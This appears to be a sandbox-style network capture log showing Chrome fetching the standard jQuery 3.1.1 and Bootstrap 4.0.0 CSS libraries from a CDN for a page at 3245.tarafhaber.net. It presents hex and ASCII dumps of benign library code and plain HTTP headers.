2024-04-19 14:56:18 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 Data Ascii: /! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window w
2024-04-19 14:56:18 UTC	1378	IN	Data Raw: 3e 3d 30 26 26 63 3c 62 3f 5b 74 68 69 73 5b 63 5d 5d 3a 5b 5d 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7d 2c 70 75 73 68 3a 68 2c 73 6f 72 74 3a 63 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 63 2e 73 70 6c 69 63 65 7d 2c 72 2e 65 78 74 65 6e 64 3d 72 2e 66 6e 2e 65 78 74 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 68 3d 31 2c 69 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6a 3d 21 31 3b 66 6f 72 28 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 67 26 26 28 6a 3d 67 2c 67 3d 61 72 67 75 6d 65 6e 74 73 Data Ascii: >=0&&c<b?[this[c]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:h,sort:c.sort,splice:c.splice},r.extend=r.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]\|\|{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments
2024-04-19 14:56:18 UTC	1378	IN	Data Raw: 6e 20 61 2e 6e 6f 64 65 4e 61 6d 65 26 26 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 3d 30 3b 69 66 28 77 28 61 29 29 7b 66 6f 72 28 63 3d 61 2e 6c 65 6e 67 74 68 3b 64 3c 63 3b 64 2b 2b 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 64 20 69 6e 20 61 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 61 7d 2c 74 72 69 6d 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 22 22 3a 28 61 2b 22 22 29 2e Data Ascii: n a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b){var c,d=0;if(w(a)){for(c=a.length;d<c;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").
2024-04-19 14:56:18 UTC	1378	IN	Data Raw: 61 72 72 61 79 22 3d 3d 3d 63 7c 7c 30 3d 3d 3d 62 7c 7c 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 62 26 26 62 3e 30 26 26 62 2d 31 20 69 6e 20 61 29 7d 76 61 72 20 78 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 70 2c 71 2c 72 2c 73 2c 74 2c 75 3d 22 73 69 7a 7a 6c 65 22 2b 31 2a 6e 65 77 20 44 61 74 65 2c 76 3d 61 2e 64 6f 63 75 6d 65 6e 74 2c 77 3d 30 2c 78 3d 30 2c 79 3d 68 61 28 29 2c 7a 3d 68 61 28 29 2c 41 3d 68 61 28 29 2c 42 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 3d 3d 3d 62 26 26 28 6c 3d 21 30 29 2c 30 7d 2c 43 3d 7b 7d 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 44 3d 5b 5d 2c 45 3d 44 2e 70 6f 70 2c 46 3d 44 2e Data Ascii: array"===c\|\|0===b\|\|"number"==typeof b&&b>0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.
2024-04-19 14:56:18 UTC	1378	IN	Data Raw: 70 28 22 5e 22 2b 4b 2b 22 2a 5b 3e 2b 7e 5d 7c 3a 28 65 76 65 6e 7c 6f 64 64 7c 65 71 7c 67 74 7c 6c 74 7c 6e 74 68 7c 66 69 72 73 74 7c 6c 61 73 74 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 28 3f 3a 2d 5c 5c 64 29 3f 5c 5c 64 2a 29 22 2b 4b 2b 22 2a 5c 5c 29 7c 29 28 3f 3d 5b 5e 2d 5d 7c 24 29 22 2c 22 69 22 29 7d 2c 57 3d 2f 5e 28 3f 3a 69 6e 70 75 74 7c 73 65 6c 65 63 74 7c 74 65 78 74 61 72 65 61 7c 62 75 74 74 6f 6e 29 24 2f 69 2c 58 3d 2f 5e 68 5c 64 24 2f 69 2c 59 3d 2f 5e 5b 5e 7b 5d 2b 5c 7b 5c 73 2a 5c 5b 6e 61 74 69 76 65 20 5c 77 2f 2c 5a 3d 2f 5e 28 3f 3a 23 28 5b 5c 77 2d 5d 2b 29 7c 28 5c 77 2b 29 7c 5c 2e 28 5b 5c 77 2d 5d 2b 29 29 24 2f 2c 24 3d 2f 5b 2b 7e 5d 2f 2c 5f 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 28 5b 5c 5c 64 61 Data Ascii: p("^"+K+"[>+~]\|:(even\|odd\|eq\|gt\|lt\|nth\|first\|last)(?:\$"+K+"((?:-\\d)?\\d)"+K+"\$\|)(?=[^-]\|$)","i")},W=/^(?:input\|select\|textarea\|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)\|(\w+)\|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da
2024-04-19 14:56:18 UTC	1378	IN	Data Raw: 5b 33 5d 29 26 26 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 26 26 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 29 72 65 74 75 72 6e 20 47 2e 61 70 70 6c 79 28 64 2c 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 66 29 29 2c 64 7d 69 66 28 63 2e 71 73 61 26 26 21 41 5b 61 2b 22 20 22 5d 26 26 28 21 71 7c 7c 21 71 2e 74 65 73 74 28 61 29 29 29 7b 69 66 28 31 21 3d 3d 77 29 73 3d 62 2c 72 3d 61 3b 65 6c 73 65 20 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7b 28 6b 3d 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 6b 3d 6b 2e 72 65 70 6c 61 63 65 28 62 61 2c 63 61 29 3a 62 2e 73 65 74 Data Ascii: [3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q\|\|!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.set
2024-04-19 14:56:18 UTC	1378	IN	Data Raw: 65 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 69 73 44 69 73 61 62 6c 65 64 3d 3d 3d 61 7c 7c 62 2e 69 73 44 69 73 61 62 6c 65 64 21 3d 3d 21 61 26 26 65 61 28 62 29 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 22 6c 61 62 65 6c 22 69 6e 20 62 26 26 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 61 28 61 29 7b 72 65 74 75 72 6e 20 69 61 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 3d 2b 62 2c 69 61 28 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 76 61 72 20 65 2c 66 3d 61 28 5b 5d 2c 63 2e 6c 65 6e 67 74 68 2c 62 29 2c 67 3d 66 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 67 2d 2d 29 63 5b 65 3d 66 5b 67 5d 5d 26 26 28 63 5b 65 5d 3d 21 28 64 5b 65 Data Ascii: e.disabled===a:b.disabled===a:b.isDisabled===a\|\|b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e
2024-04-19 14:56:18 UTC	1378	IN	Data Raw: 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 63 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 63 26 26 63 2e 76 61 6c 75 65 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 2c 64 2c 65 2c 66 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 3b 69 66 28 66 29 7b 69 66 28 63 3d 66 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 2c 63 26 26 63 2e 76 61 6c 75 65 Data Ascii: n function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value
2024-04-19 14:56:18 UTC	1378	IN	Data Raw: 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 2f 61 3e 3c 73 65 6c 65 63 74 20 64 69 73 61 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 6f 70 74 69 6f 6e 2f 3e 3c 2f 73 65 6c 65 63 74 3e 22 3b 76 61 72 20 62 3d 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 3b 62 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 62 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 71 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4b 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 32 21 3d 3d 61 2e 71 75 65 72 79 53 Data Ascii: bled='disabled'></a><select disabled='disabled'><option/></select>";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"[^$\|!~]?="),2!==a.queryS
2024-04-19 14:56:18 UTC	1378	IN	Data Raw: 44 6f 63 75 6d 65 6e 74 3d 3d 3d 76 26 26 74 28 76 2c 62 29 3f 31 3a 6b 3f 49 28 6b 2c 61 29 2d 49 28 6b 2c 62 29 3a 30 3a 34 26 64 3f 2d 31 3a 31 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 63 2c 64 3d 30 2c 65 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 66 3d 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 67 3d 5b 61 5d 2c 68 3d 5b 62 5d 3b 69 66 28 21 65 7c 7c 21 66 29 72 65 74 75 72 6e 20 61 3d 3d 3d 6e 3f 2d 31 3a 62 3d 3d 3d 6e 3f 31 3a 65 3f 2d 31 3a 66 3f 31 3a 6b 3f 49 28 6b 2c 61 29 2d 49 28 6b 2c 62 29 3a 30 3b 69 66 28 65 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6c 61 28 61 2c 62 29 3b 63 3d 61 3b 77 68 69 6c 65 28 63 3d 63 2e 70 61 72 65 6e 74 4e 6f 64 65 29 67 2e 75 6e Data Ascii: Document===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e\|\|!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.un

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49733	104.18.10.207	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 14:56:17 UTC	611	OUT	GET /bootstrap/4.0.0/css/bootstrap.min.css HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://3245.tarafhaber.net sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://3245.tarafhaber.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 14:56:18 UTC	953	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 14:56:18 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"450fc463b8b1a349df717056fbb3e078" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 03/18/2024 12:15:40 CDN-EdgeStorageId: 718 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: 9a94512e87c0139e540e49800901a3c9 CDN-Cache: HIT CF-Cache-Status: HIT Age: 68876 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 876dbd90fd236734-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 14:56:18 UTC	416	IN	Data Raw: 37 62 66 37 0d 0a 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 3a 72 6f 6f 74 7b 2d 2d 62 6c 75 65 3a 23 30 30 37 62 66 66 3b 2d 2d 69 6e 64 69 67 6f 3a 23 36 36 31 30 Data Ascii: 7bf7/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors * Copyright 2011-2018 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */:root{--blue:#007bff;--indigo:#6610
2024-04-19 14:56:18 UTC	1369	IN	Data Raw: 61 79 2d 64 61 72 6b 3a 23 33 34 33 61 34 30 3b 2d 2d 70 72 69 6d 61 72 79 3a 23 30 30 37 62 66 66 3b 2d 2d 73 65 63 6f 6e 64 61 72 79 3a 23 36 63 37 35 37 64 3b 2d 2d 73 75 63 63 65 73 73 3a 23 32 38 61 37 34 35 3b 2d 2d 69 6e 66 6f 3a 23 31 37 61 32 62 38 3b 2d 2d 77 61 72 6e 69 6e 67 3a 23 66 66 63 31 30 37 3b 2d 2d 64 61 6e 67 65 72 3a 23 64 63 33 35 34 35 3b 2d 2d 6c 69 67 68 74 3a 23 66 38 66 39 66 61 3b 2d 2d 64 61 72 6b 3a 23 33 34 33 61 34 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 73 3a 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 73 6d 3a 35 37 36 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 6d 64 3a 37 36 38 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 6c 67 3a 39 39 32 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 6c 3a 31 32 Data Ascii: ay-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:12
2024-04-19 14:56:18 UTC	1369	IN	Data Raw: 65 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 20 64 6f 74 74 65 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 20 64 6f 74 74 65 64 3b 63 75 72 73 6f 72 3a 68 65 6c 70 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 30 7d 61 64 64 72 65 73 73 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 64 6c 2c 6f 6c 2c 75 6c 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 7d 6f 6c 20 6f 6c 2c 6f 6c 20 75 6c 2c 75 6c 20 6f 6c 2c 75 6c 20 75 6c 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 64 74 7b 66 6f Data Ascii: e;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{fo
2024-04-19 14:56:18 UTC	1369	IN	Data Raw: 20 64 6f 74 74 65 64 3b 6f 75 74 6c 69 6e 65 3a 35 70 78 20 61 75 74 6f 20 2d 77 65 62 6b 69 74 2d 66 6f 63 75 73 2d 72 69 6e 67 2d 63 6f 6c 6f 72 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 2c 6f 70 74 67 72 6f 75 70 2c 73 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 7b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 7d 62 75 74 74 6f 6e 2c 73 65 6c 65 63 74 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 5b 74 79 70 65 3d 72 65 73 65 74 5d 2c 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 2c 62 75 74 74 6f 6e 2c 68 74 Data Ascii: dotted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,ht
2024-04-19 14:56:18 UTC	1369	IN	Data Raw: 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 68 31 2c 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 7d 2e 68 32 2c 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 7d 2e 68 33 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 35 72 65 6d 7d 2e 68 34 2c 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 7d 2e 68 35 2c 68 35 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 35 72 65 6d 7d 2e 68 36 2c 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 7d 2e 6c 65 61 64 7b 66 6f 6e 74 2d Data Ascii: ,h2,h3,h4,h5,h6{margin-bottom:.5rem;font-family:inherit;font-weight:500;line-height:1.2;color:inherit}.h1,h1{font-size:2.5rem}.h2,h2{font-size:2rem}.h3,h3{font-size:1.75rem}.h4,h4{font-size:1.5rem}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}.lead{font-
2024-04-19 14:56:18 UTC	1369	IN	Data Raw: 37 64 7d 63 6f 64 65 2c 6b 62 64 2c 70 72 65 2c 73 61 6d 70 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 53 46 4d 6f 6e 6f 2d 52 65 67 75 6c 61 72 2c 4d 65 6e 6c 6f 2c 4d 6f 6e 61 63 6f 2c 43 6f 6e 73 6f 6c 61 73 2c 22 4c 69 62 65 72 61 74 69 6f 6e 20 4d 6f 6e 6f 22 2c 22 43 6f 75 72 69 65 72 20 4e 65 77 22 2c 6d 6f 6e 6f 73 70 61 63 65 7d 63 6f 64 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 38 37 2e 35 25 3b 63 6f 6c 6f 72 3a 23 65 38 33 65 38 63 3b 77 6f 72 64 2d 62 72 65 61 6b 3a 62 72 65 61 6b 2d 77 6f 72 64 7d 61 3e 63 6f 64 65 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 6b 62 64 7b 70 61 64 64 69 6e 67 3a 2e 32 72 65 6d 20 2e 34 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 38 37 2e 35 25 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c Data Ascii: 7d}code,kbd,pre,samp{font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace}code{font-size:87.5%;color:#e83e8c;word-break:break-word}a>code{color:inherit}kbd{padding:.2rem .4rem;font-size:87.5%;color:#fff;background-col
2024-04-19 14:56:18 UTC	1369	IN	Data Raw: 63 6f 6c 2d 6c 67 2d 39 2c 2e 63 6f 6c 2d 6c 67 2d 61 75 74 6f 2c 2e 63 6f 6c 2d 6d 64 2c 2e 63 6f 6c 2d 6d 64 2d 31 2c 2e 63 6f 6c 2d 6d 64 2d 31 30 2c 2e 63 6f 6c 2d 6d 64 2d 31 31 2c 2e 63 6f 6c 2d 6d 64 2d 31 32 2c 2e 63 6f 6c 2d 6d 64 2d 32 2c 2e 63 6f 6c 2d 6d 64 2d 33 2c 2e 63 6f 6c 2d 6d 64 2d 34 2c 2e 63 6f 6c 2d 6d 64 2d 35 2c 2e 63 6f 6c 2d 6d 64 2d 36 2c 2e 63 6f 6c 2d 6d 64 2d 37 2c 2e 63 6f 6c 2d 6d 64 2d 38 2c 2e 63 6f 6c 2d 6d 64 2d 39 2c 2e 63 6f 6c 2d 6d 64 2d 61 75 74 6f 2c 2e 63 6f 6c 2d 73 6d 2c 2e 63 6f 6c 2d 73 6d 2d 31 2c 2e 63 6f 6c 2d 73 6d 2d 31 30 2c 2e 63 6f 6c 2d 73 6d 2d 31 31 2c 2e 63 6f 6c 2d 73 6d 2d 31 32 2c 2e 63 6f 6c 2d 73 6d 2d 32 2c 2e 63 6f 6c 2d 73 6d 2d 33 2c 2e 63 6f 6c 2d 73 6d 2d 34 2c 2e 63 6f 6c 2d 73 6d 2d Data Ascii: col-lg-9,.col-lg-auto,.col-md,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-auto,.col-sm,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-
